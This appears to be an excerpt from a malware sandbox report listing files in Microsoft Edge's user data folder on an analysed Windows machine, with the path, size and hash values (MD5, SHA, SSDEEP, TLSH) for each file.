SHA512 6c3b4107c600671a649a033da5d759c154aaf7fb5c1d81f2455deadf89ce1921e9b751b663df2abca119ff85af6aa9847bcdf670ded7e9e9d34caa46f552ca02
SSDEEP 384:sxZUBqFg/fjs0WvrZqUei2Aa/biIHy9/eAkeoiW:s8IFg/fXYrZqUU/biIeeAkL
TLSH
T10282E816AA74597BDCEBD21AF545BB63D6F8143391804E446AFDDE1C04E6BEC2203C2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 c5e3f8529be6065f6194acb6cb910e2d0abf95485859d5605bc94b7cc0b14d1d
MD5 314d6163fdc21733ec58fa709c077bc2
SHA1 f7a84c2f22791678e7e749905b6b70c0af04ca42
SHA512 a15f588fc5096711b8eaa25606bbc28e2296ec70d6560676a8c6743c2f93cb6a26bb13c3f1b2e2411b948ebfa23e5271195eba6b24b34e6c49e273858adf7f62
SSDEEP 192:sxZURTyMqZjK1Ml8Mcg/fjsMZfKTG5GN2RwKzodpzK/W6+WNi53GI/Y0h02+wfIL:sxZUs0g/fjsMZfUei2OG/bi9T/5ioj+F
TLSH
T1EA62E8166A64997BCCDBD319FA45BB53D2F9157391904E44AAFCDA0C04E6AEC220383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 7dd4eab46bbd4ddf4f45d9adfad9c5ad5a7a94c8be0034591d6a69bd232744e9
MD5 20876eb27b2d82520266f5c29156fbff
SHA1 1903184a14ecda9ae94140dc05a364f16eee4a0d
SHA512 c71dbc500f1d106370c496426ef50ac16e762e18dfd071778a58018c67b45a192a5613cc849f872b4c85422b0b5b3af85b47154a78d56040948f617f7415dda6
SSDEEP 768:wQAKq8y02yS7pLuLnjbWRmj1QWT8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3Azx4Lln:wQAKq8y02yqEnjbWRmj1QWTu1jaKAzxM
TLSH
T16A030A3B680CCB7E4FC04E9CED277E8A6DE8028BA698C95447FA444C03C66EF55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\84929e18-7031-4aed-9651-196b2ec11ecb\index-dir\the-real-index
Size 2KB
SHA256 46b3f8cb584e87378f8a874e2c9e08842b3139b6965de29c995f6f4f0d495a29
MD5 8e23b1f05d4a1589a2cd67842cef9717
SHA1 6a4ec14109f3166028ea5de9b77668a7030493be
SHA512 030dd7987ec7802cd5570f760a68e94533a13d749114087ae9dd0cc5142995c7023d319922e10dd81d785e7aae3383e8d9caaa0a21213ae688943c17580ed224
TLSH
T14041984D8E518D6FD928407708B21CA833349CEC47556B575CBC123A6E4736D294B6AC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5efb07.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\84929e18-7031-4aed-9651-196b2ec11ecb\index-dir\the-real-index~RFe5efb07.TMP
Size 2KB
SHA256 1134d90abf7801289e7f34c4335ce52ef96f2828a6848311e75418236494e1b7
MD5 650edc148af1df497f0f3010d5ee049e
SHA1 4f47fb73af5e986023d495b44ebfbdce4bb4b2c0
SHA512 d5f2cf0ecb2f8f72c10a33e3d4c02cdd40065de419c339f2074138a16bcf8cd92adc0f66075b74869ead0df55ae8c986b0dd030dde86bae3d900b628b9d8a885
TLSH
T16641C94A4E81CA2EE89440770DE3A4B87339684087157B5378FC523599937AE2E4E0ED
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 497060ef3b0c1f153c5c00ef8dd779391133ff50a6b6d79d8afe56381b404cee
MD5 da11ebc5b0a1f76c6e1bc177940636bb
SHA1 bbac488e80275146e240676fe081099ced05540d
SHA512 1298f235d9fd36d9e6d7c0c5f82cfd37b7977936ca707c2ec5ceba6b4bae3a7b3e321d38f8034e6587a57bcab7e230d4514f631546f4ec85e13a1251cb661b26
TLSH
T140E068FA2CA72824F86B93D2183280A601023C50C544BCCF205EF59360B13143599C22
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 338B
SHA256 225a9d3b1477486a678e01f61536049a244ccaac340866cfb3c7d31a825a41bb
MD5 73fc2e4d44b0bfa4145753a9d6b11c60
SHA1 7610058be64c6a087cf56e4f631d29f572b68958
SHA512 97462f495f0da8ff1f9d940a1dbe50b551edb2466dfa81a68dbeb5a26398c5dd866210c5c8c0c6258541687d45b8c24013d65b0f784e46126e9ad0d5c9684fea
TLSH
T135E026E005CED27E732720870F2CA788E2E5744BDBC83E023F88E8406146DA5F1E35A0
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 184B
SHA256 00a23a3542c16489640a14cf39933612e56cde98a6499e0002d25f3dfd5e6801
MD5 9cb1647a603cca854e90978ae09650ce
SHA1 c2fc38ccd194c9dcd6ed60f1b458d6c4f5fa9572
SHA512 397dada17ead70117bcc0798ae8a7bd068a62bb6ebc7af7283b18ca8bb2f37fbad86bd4e18d5c06af1722af5722da190020e6c4767463f4b26610326ce8b8d5d
TLSH
T1DCC080253340520DCFD99A72093AF7475265FC0601715143449CAF359C056D819464E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 350B
SHA256 d6fcf30570174570d7db74d2cf5b75e20059c20948553f9123ec7c60c706292a
MD5 64f9e9f042d36a6513f2a58e048440f6
SHA1 1c3edbc582a48865578489895ec803e705b12788
SHA512 48efd3ca67bc6d4b5e027d0d064e06db38e5954f728204f6278e5bd3301879095b4629857f30619e9c78569cfa919390699528ae57350d08dca08c74d1a3a9c9
TLSH
T1D7E0D87069CFC33E739720CB9318F789E1E37446EBD879213B48A440620A590B2939B0
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 326B
SHA256 b9cc48203fa89ab4dafbfa4100a00c317653d78dc602faf3c7a4d2daa907961d
MD5 8603179b3a857904617db65d5ef28ce7
SHA1 79a2438f87b3104948717d0da15ed88469059d39
SHA512 e78d79e098309b5798e9a7d6e4e5bd0fcebdac2c73da285030c1c04ec93c120af01035f4227baaec173b4a70964d64f6878f1d154137af92a752559916ff126d
TLSH
T1C0E026B059CBC37D56527083836CB74EE2F1B80ADBC83A02A7085840A101591F2F7DF0
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 22KB
SHA256 ec94b390de13f00b9fb8388badd405d72f89125a26242a6bdcfedf0e936e7ba7
MD5 3bf833a6050d2c0fac0a555d82b72849
SHA1 831902bf9db1c8d6d9b9b49654623599893cf72b
SHA512 c41a412b2cc2fd1038a1bc09f1ad4d8c11f8f3355f855a181a121d1dabfe35e7c7d8b09c841b1cf6b56d013683120fc81baeb5db1fc626da05707ca10689db49
SSDEEP 192:GD9R5VJhn/iVJnZFGVApBPisTE/3oNloNPSF53pVWFQ5xfSsD0PnY9JFlPtv0F5f:GZLVDJjEDPV0/ZdE9O
TLSH
T192A24A1232FA02023C7D3908939697674A42F2A37459ED3F7BA904B54E67E125EFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 ec17e63264bf599a0e91c08c086e3e8b6bd0d30a49d43400608bf28100d2db96
MD5 55147f7ace33a5edf9b0a848def73e68
SHA1 5e50e0e378b003a0ef13a2a76e39ac76d7333a0b
SHA512 b2c4e79001cc868ebe3661435a8da9648dbcc4d37d0209462c3c5ef8db1db9d85f9222b007e6b3b438bbaf040be1ac037204c02bc22f9871cac8a4cc310e7859
SSDEEP 192:FvoWLc9mfT8wRJQnGL11HLfzNSivuvTNN+u/egddCeyv/hVRdbsCEV:akVfQ0JQn6lLfzAivuvBN+wtP2s
TLSH
T19C24630A7B747001EDE7D9725CB080771A3CB16ECF22A6D15DA254698DB3853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_cloud_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\default_cloud_config.json
Size 13KB
SHA256 f9e4da319fe1f5a7d497c452421f4648a24ec7588f309ebea0f0cd61a6251eef
MD5 256c40bace492c4e28451ce149d2f9ac
SHA1 b48b0eaf986b9efc91d5c8dd394dccb6d82e2adc
SHA512 33b38d1ced015798722180fc8c8ce6daedb18cd5d0e4b3db27d6176c13cf3ccb1bd79f2e68ca390d6eb43ac508c29067e8f1a3ee9f0167cabe37ebbddf6b0ec0
SSDEEP 384:l7BJeojewj9mg1IZyvASoIL5QJwTcoEnE0YU/VwTcoEnE0GU58:l7BJeojewjcg1IZyvASos5FEnE0YREnA
TLSH
T12452007AD2211C7719B8636858BC4692F524137F8281C81F78BC656C8F7FA79A089FDC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 13KB
SHA256 aa805f97397b8c29bdbbdf9f78e86cfd58f09f9862afa01267f6c4dae47e6443
MD5 35c97b0435011ad0ba4144e2692ab1da
SHA1 dd156e267b5343a0f86992a346668fbd9a9f4aef
SHA512 d66f42d9615e4b4aeeb4068c52eb26cb0875c146ca96f938c4550de71d7ec1b48b5e58c9d4873510dbba4dec345e7d058f0e5ff4f7c020b65f44d85b5d708091
SSDEEP 192:6+y5Oq5AsylrQEus0tL0BeVQHIIImbWMIMQRYcYq2:62qasIgs0bQHIIImbWMIMyB4
TLSH
T180527F6A36051B3BE84E1FB6137A5B945FD898810273226D31231C4F9DF3A9786C52FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 3fef92b782245379d2a1d070941d8cc57cb68eb8dd0bb948aa36b9fb655aaa6d
MD5 bfcd0dc846f91aec94eacc5e7a163566
SHA1 82c560d9c2f37a9bdb3abbfc6aeabfa1204bdd0c
SHA512 135cd8a496117c13e9ad5b8f30c6720dc366eb704814d80f5eb2334b026fc85f4e90f186259ea52567c29724053504df48e06c0125b30a94c4ba9f17fa1f4f92
TLSH
T17DE0206054C5C27E656560C753186349F7D33447EE8539072F04D448610554672D7D61
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 fc77cd497c54626abab83b4e1670efe36747a6d91ca49b7ef0a49838f3d72115
MD5 7f2c5d6fd33093edf249ca59ef788651
SHA1 ab3c68e6db2cf37e3127fc543ac8ced447302c8e
SHA512 a427247439ccbaaa83e5077267bcd1855d0a9b8a0acabec0d7f2d57885f78545dcf97e7d2c52de4cace801f84d8d35a2b3d3fb70ba7102a44bd4992fb9935b2a
TLSH
T127216056F320C148E59E863D642B9B661338E8429FBCEC4F507970256E71E001E8B7E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 dfc1c7f462c2f99b1228a247b040e001d420ba7fdc705d2d6f806e76476cf33d
MD5 eef11189156d790b624d4302c08b364a
SHA1 9f8b12e13dfa9fbaf9d6858534fffae86013f85f
SHA512 30f7b34106253c16d5d5474d013b3c6c076c6e2f97d00bf5885f44b669b29acf1507f0015b7a4fb1d07e9e46c3ebab9b51156b942ff9c62970e2d659ddaabf23
TLSH
T10AE0D87074C5C3AF53222197436DA38892E2381BFEC43E122F088C4451015827297961
MD5 SHA1 SHA512 TLSH

Submit Download

data.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.4.19\data.txt
Size 150KB
SHA256 e589f794c343744314bb92dc03cb87b0aabe1a0e4df61bd77327638125d6e1a3
MD5 67a2e4e53750b6b992e203c4e98608bd
SHA1 f84203baa2f63c3dd4e3e6378e9d74faaa27a35b
SHA512 86c77bc809e6e9d80b1e1c16ad97f6a3e9fad6b010f322e0e1146c8cccbb9c0f71146a87e1e6094034c0adb5c2e5f9229a90551bea00b9df975a4a6c05246a6c
SSDEEP 3072:0PAgDcCHaLHl65aynyosxb3+B1xh0OrlwYEEn1dm//OKXXJ1RxGfI:YX1aI5aZoKzMJ07NC1d81xGg
TLSH
T11BE3F210CAC41FECDEA4262C60FE0F1D6790C78D883B6A89D7A7FE4A5F9750895274C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2026.6.5.1\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 9051c4cc5e13acc2fe1997ecc7a16f849e8d1614bfebc9412ce7fdac9001ee48
MD5 5b33626e25c9dcc759774a9a15041286
SHA1 4439cf125bd805dd5295edd2cb4060c17d29ca62
SHA512 ae064f26e58f771820b85722ff97747ca93f58e6f7567e05cd30c303283c18eaaf45cb4d4ba2d6995c6b87b2d1e5d019ca2965d262dc6512500f49cc455985e8
SSDEEP 3:MsEllllkEthXllkl2zEflPowgtl:/M/xT02zTX
TLSH
T1FB4404C47FC10C05D70010305051C3503770F5150731574334F10C337CC7D400C00004
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 6c33e9efb771d937a6d080dfd60c7fd77e4e3e5f9a40b1ae4f766cc31e50e6e9
MD5 6c15556b63f6a895cbf1cc4d8b5fba9e
SHA1 1f7b920a21015d0c78ddb9fa3464065c1d6ef98d
SHA512 20f11d4bfb5f47f7a39f804fdcce99aae3b8a87d3a2c5a94c56f00dcaecf82d23740443f737c562966528a9639c23cdfc344247e45a9ecc99ce52c977d2bb248
SSDEEP 384:nviF9CcmyWCs38NS8TUNTUlIxBPm3ek32nn9lKBSuf+8GaTjKzxwIuGe4KV8p0hX:6Fccps39wgPKekmunGsGI8p0J
TLSH
T138C26B31E8A4C9BBECE68F99FB4A3547DEE01263C58C5ED4EAD81D1C009719D174F826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 5d9e1412651e201d874c3409bbe036658c3df84016c05f89ff03124a947fa561
MD5 391923043d8961f2a00484a2c4164cb0
SHA1 cdd653bc664e7e3dfe3f9182ca81e273c03c512e
SHA512 33454b1a68df27aaac32f843b7126cde2247c32f2755491fd1ca3aca007c7ec80ea120cf92ed600c90c3098b3a36ab821466d8082cc3d4c3824baf190703aed2
SSDEEP 384:niiF9CcmyWCs38Nvb8TUNTUlIxBPm3ek32nn9BMQBsSuf+8GaTjKzx6Ae4KV8p0J:pFccps3GbwgPKekmkuYGMAI8p0J
TLSH
T113B26B31ECA8C9BBECE64F99FB0A7A07DEE01263859C5DD4DAD81D1C009719D134B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 c5e14d2b8c653a8f3edcec9a8e47232277543c976cf42a5f14777c13d9aa4fff
MD5 7999c084b99559e174e8dec3a7dd2519
SHA1 8dff23f1d9042c81fa9099c8d9ff55c66cee977b
SHA512 bbe9d7dee1ede13cc7ae0086173a0bd2728747c42ff5d1ab208749b5c68294f81970286b6f0aa008ba36e4db92e9d607b4804e1d003fe9d8a38134c836666434
SSDEEP 384:n/iFkZcIt8NLX8TUNTUlIRaPm3ek32nn99bkScf+8GaTjKzxwIg1f5UrzdKDbHxZ:KFCtQXwgwKekmfSGy1Sdq
TLSH
T187F2C3F198D78977E8AE8B87A77D2E029AFCC153B5881984B7D91C1CCC421BFD706816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 c55368ddf858b3a2c9c1b61a990c8cd9888a5206e859cb3dfa8f60f1663bf8e0
MD5 6e4a98bdf7dbee17d75ce8054899c766
SHA1 4d5d30d51fa1798764493749189c6ebc4093d8ae
SHA512 3e199d2cbfffb7284ded29440aa63e1de31a254bb5d7b1cb98e0812f0d61c8a937702e28af4c3ae5467be073f28ba03be88cfc8209a012b80ae58e0f6bf51cc8
SSDEEP 384:n/iF/ZcIh8NLX8TUNTUlIRaPm3ek32nn9BZkS0fi8GaTjKzxwIc1f5UrzdKDbHxZ:KFXhQXwgwKekmNoGC1Sdq
TLSH
T152F2C3F198D78977E8AE8B87A77D2E029AFCC153B5881984B7D91C1CCC421BFD706816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 d8e750a6a5e4792ac764cb9abc486cf420d6373146dcffacc126a9c79cfd1200
MD5 ad48695a4a92c0a876cbdb6520d293e0
SHA1 36603ac149bfebbe4aa03a4a71129569acacb31b
SHA512 8085966e8bd3d9bc11135971bad43355881634765dd1a7616cbb35cc9540ea604bf02c70f0448c7a22a1d0f12a386737cd72a1b02ceda58e67088a9f5bd42752
SSDEEP 384:nCiFrZcIS8NG8TUNTUlIRGPm3ek32nn9ZHl2Suf+8GaTjKzxwItkoQwFd9nkDKfF:JFzStwgsKekmLlSGzm2d9+KSdk
TLSH
T178F24978DC64C97FA8EEAF89A64E351699E40233C5B849D8E7D81F1D803249DFB07816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 f2ae1e6690633518207163e7688cbbc6c19322936cb32d712db4e21b950cfed8
MD5 3222b8129f7f3223f5042dc690911c8a
SHA1 f64e1af35d939e620f8e88724c646eb6b4396906
SHA512 df0c5bb457750bb120b88e7e68d7deebd568aec7296fe989af28f12b11fdd22a0db8f6409430a6560e4e9851b025906374d30159077d8371639d3c6282a921b0
SSDEEP 384:nCiFrZcIS8NG8TUNTUlIRGPm3ek32nn9ZMl2Suf+8GaTjKzxwItkoQwFd9nkDKfF:JFzStwgsKekmAlSGzm2d9+KSdk
TLSH
T1B0F24978DC64C97FA8EEBF89A64E351699E40233C5B849D8E7D81F1D803249DFB07816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 521bdf695e4285751fddc509abd3e8383e78751f70d2ff1b32eb606abbbab562
MD5 feb212fd064260c7c0872ae3accc3b4e
SHA1 dc5498d2449e00e8aa8bd4020e39c9c6fcd41fb8
SHA512 c9e2353a5de9d35258b177ec4248987a834ab9e35ebdf5c0810d7b2b6a1fe1f5b54ca059313a2a9ef417ee7e68f1e4f1ee570129030737aeb1d2a987b191d820
SSDEEP 384:nBiFPZcIr8NA8TUNTUlIRaPm3ek32nn9HYl2Suf+8GaTjKzxwID1f5UrzdKDbHxZ:oFHrzwgwKekmqlSGJ1Sdq
TLSH
T178D25B71ECA4CA7BBDE78ED9BB5A3607DEE00163D5CC1AC8E9D95C2C009719D170B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 d29783c205bba91c0c749f0d57e2edd8eb2ba57a2257b9fbc1eccbe5a95850bb
MD5 7639f61543a62b3f8d4a1755661c6d12
SHA1 6960bc789daa2082a97570bdd188489a2b3ebcea
SHA512 fe4e91e573a45bc5f276ee1e0c1b97eb488ee7e363010202238bc576484db13f50a81887a73a13d87a3d649eb2f2e5a84d742b6875dc95e612bef4303644c718
SSDEEP 384:n/iFPZcIh8NA8TUNTUlIRaPm3ek32nn99qASuf+8GaTjKzxwIc1f5UrzdKDbHx/h:KFHhzwgwKekm+8GG1Sdq
TLSH
T19FD26B31ECA4CA7BBDE78ED9BB5A3607DEE00163C5CC1AC8E5D95C2C009719E170B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 99e22acfc5f3675ce1a6c3cfe208ba340f33920dd160266f196a039c98889d2f
MD5 a132c70bb79d280507ec4f29334cf800
SHA1 510093943037548a48a27959a87a31ed3630d58d
SHA512 c7357a4ab6aa31917e219e4f8de56170d805a61a85e63d6bd8d8c42c83a2f29d765dfb9b5be5e974442db37d8100fceeb9b530cbe69904ad9a13ecb8d932313b
SSDEEP 384:nCiFiZcII38NG8TUNTUlIRGPm3ek32nn9IA0Suf+8GaTjKzxwItGf5UrzdKDbty6:JFQI3twgsKekmrAGzGSdk
TLSH
T1A0D26B71ECA4C9BBBDE78ED9BB5A3647DEE00163C5CC1AC8E6D95C2C009719E170B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

campaign_history

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history
Size 20KB
SHA256 2b3f6d3df43dbc3935a9820c2adb01b67fda806a9b989b2f742534f7bc3f3fce
MD5 0685d9849a188fff5e38d1614d1c94e5
SHA1 4f8fe8f9377050f2529ba55edb065fb2b51acae2
SHA512 16bb82b707c2207da5f1c0888dbd783167760da125ef7a04a06914d5d8dcaed90cea1a3f9a29ff49cf70c2c072d98f3f210ee6afd2cbbb55101ed47c56e17fe9
SSDEEP 12:TLyeSjPFUxOUDaaWZXiDiIF8izX4fhhdWeci2oesJa/Si3isuQQtyduzbdIaUxrR:TLyT5UOl0afDdWec9sJypejB5fc
TLSH
T16692AF236D362033E8DA8B7AFD8349910EBC135EC9A7B848CDD049620DB5BC1A2955FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 86ef888fbbd56d1818c6470ada1c421072fdeea06e7de7d6715aa08f92344b17
MD5 998cdbad8e4c02149ef2f8a832ce98e4
SHA1 b7cb2dd45bcf7835427dbf2eabfc43e0cb2f233b
SHA512 88e2924d3fc09e7e54f88dc9cb44d732046d3edd9b14764dd3314b8ce66e77de479153e7df09b267c0703d4ae38626faf0924ef5ce2455425c4933773916945a
TLSH
T1E5E00203E30810B7C10D337445D317003AF7C02013F71386492001716C133101D30E44
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter~RFe5b1672.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe5b1672.TMP
Size 392B
SHA256 8930c42b832c6f7556829220e57babef8920b7fa74779f0ebef1ae5f3e0f81e3
MD5 4cc39721e71f356be85578896b1dc388
SHA1 978d8adcedb7c3591caa74e49471079c5bf1595a
SHA512 60948d4babf611637e26a6c9322d4f5d5a600298bfa94f1efa4dc64e7d29516c6f43f9a2eb0381760204dd4ced345503f416d9579ad4b6195f878d9bc4e36fc2
TLSH
T100E0020293041076C11D1374409317003BE6C01012E61346452001615C133101D30E40
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 cbf3f263bf2969b0b49da864362e909efc3cdb701e6c7be3a59a683d46b0d3d1
MD5 67a62b8fdf5af801301d4b726c27a435
SHA1 41e47abb5c42a48316d9e9b025a0b9ecf8af3609
SHA512 91799551bbbb9b2aa89bbf8ba20875b8ea307653913f43616d607050623088c357cadca58c8992786a166459b536342824a96650ddad38099927c8acf45ca880
SSDEEP 3:MsEllllkEthXllkl2zEflcjK//l:/M/xT02z9jK1
TLSH
T14B4404047FC01455D50110305051C3503370D4110531574734F30C377CC7DC01C0000C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

keys.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2026.8.3.1\keys.json
Size 8KB
SHA256 3d6c659801f1686ff3ac64bc3b24b1d0ae76ffdd5f0e9c399ba37d1354a15ab4
MD5 ee666d1b2290efa6cdbc89ea3d317333
SHA1 a8bdd2c1d7e76fef48a735a80524243cd453e0bc
SHA512 7b2b577c9a168f626a687ee158cc20fa0ad0f816fb0583abfe45f89222d1762eb4fc619e029856618479fb6096a02eb2f9934cb46334fa781cea5cbcec992ee9
SSDEEP 192:uNtGbR0m0GflPAyR9Pm4lOvMwkoR9PuGMXcy:O7mZpKjA
TLSH
T17F02B6BF14A41182CE7FC16D9F0774B78FB03C066BCA3A83925BEA49484196D173B5B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.7.29.1\typosquatting_list.pb
Size 927KB
SHA256 8da21018e6a6063f029ab8f81ef3de28adbd1740594d43934a231e9bc8458496
MD5 21617bc586960af1751aee4ef90d7b7e
SHA1 8e44d591d02917d5470a382ba5ecb31d03f0cec3
SHA512 75afeab96c768f0647940e940d0e842b2ecd422628a9c0adae06442dc6a27020c85ab03580e6f56382cc2dba3c6cca1f3b8b3e42194f5d27c211075a1faffb27
SSDEEP 12288:a6q8A6KIEJiCG5sskil3XYXHm+nQBfjvG605F0:jGskil3XYXHmyQT
TLSH
T1B215B5B9DFC00194DBB8112D20BE71D8181412A540E9EFEAFE7C855F2BC29C977E85E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

ranked_dicts

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.2.0.0\ranked_dicts
Size 865KB
SHA256 5820d0bf9cfc363ff929492b1eb6df430039f4ac0e212a5b5411f7c2614f79d0
MD5 959460a18173908111523bbf4c39073e
SHA1 c42a9a7042f6d87a6a9de7f9bf378f1fe9485fcc
SHA512 291decc0f58cf71d7929a52d2c21a07590c02bcd202b73fb20391d6d0c7dcbe3aec24e02606f22dbd589ee2546a0eb8414c232f74ec646a1f26496c280705600
SSDEEP 12288:8WG0mOflZV35OtQm/b1Ed7pJPR3cjqKMjgP/pwH6sKFbEb3d4CPLsVQCcekWpH6m:k0m0lH35mVb1AJPtOl/06s6Wd4iBSsG
TLSH
T1AB15B071E714177E5A9F23AF98856B4546799302982204EAF7A6034D810BDCC63BFB3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 e6b311f35c05f90997e7aa15775db62d3c9a148eb8dbed1f8d472a3f0f5e227e
MD5 2cc8f567c1a5382e642d82aa9adfd190
SHA1 d9092327f36a3a344acd8c5066f5c1415ab50397
